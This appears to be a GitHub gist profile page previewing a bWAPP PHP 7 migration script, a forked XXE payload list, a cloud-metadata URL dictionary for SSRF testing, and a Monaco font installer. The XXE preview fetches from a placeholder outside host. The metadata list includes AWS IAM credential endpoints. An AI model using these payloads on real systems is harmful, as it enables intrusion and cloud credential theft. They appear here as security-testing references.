Skip to content

Instantly share code, notes, and snippets.

View adibdz's full-sized avatar

Muhamamd Adib Dzulfikar adibdz

View GitHub Profile
@adibdz
adibdz / to_php7
Last active August 12, 2019 04:52
A simple bash script to update (mysql_connect, mysql_query, msyql_fetch_array, mysql_error, mysql_close & mysql_num_row) sql-files on bWAPP using php7-mysqli module.
#!/bin/bash
## This is simple bash script to update sql* files on bWAPP.
## Which using one of following APIs:
## mysql_query, msyql_fetch_array, mysql_error, mysql_close & mysql_num_rows.
## All of them are deprecated to PHP 7 and produce this error:
## "PHP Fatal error: Uncaught Error: Call to undefined function mysql_query() ..."
## This script update them to adapt with PHP 7 API's.
## How to run:
## - Place this file inside bWAPP folder.
@adibdz
adibdz / XXE_payloads
Created July 14, 2019 00:17 — forked from staaldraad/XXE_payloads
XXE Payloads
--------------------------------------------------------------
Vanilla, used to verify outbound xxe or blind xxe
--------------------------------------------------------------
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>
@adibdz
adibdz / cloud_metadata.txt
Last active May 4, 2019 19:16 — forked from jhaddix/cloud_metadata.txt
Cloud Metadata Dictionary useful for SSRF Testing
## AWS
# from http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories
http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]
http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME]
http://169.254.169.254/latest/meta-data/ami-id
http://169.254.169.254/latest/meta-data/reservation-id
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
@adibdz
adibdz / install_monaco_font.sh
Created March 16, 2018 13:20 — forked from rogerleite/install_monaco_font.sh
Install Monaco font in Linux
#!/bin/bash
#script extraido de: http://paulocassiano.wordpress.com/2008/08/29/deixando-o-gedit-com-a-cara-do-textmate/
#tip for better "resolution" here: http://blog.siverti.com.br/2008/05/22/fonte-monaco-no-ubuntugedit/
cd /usr/share/fonts/truetype/
#TODO: put validation if folder already exists
sudo mkdir ttf-monaco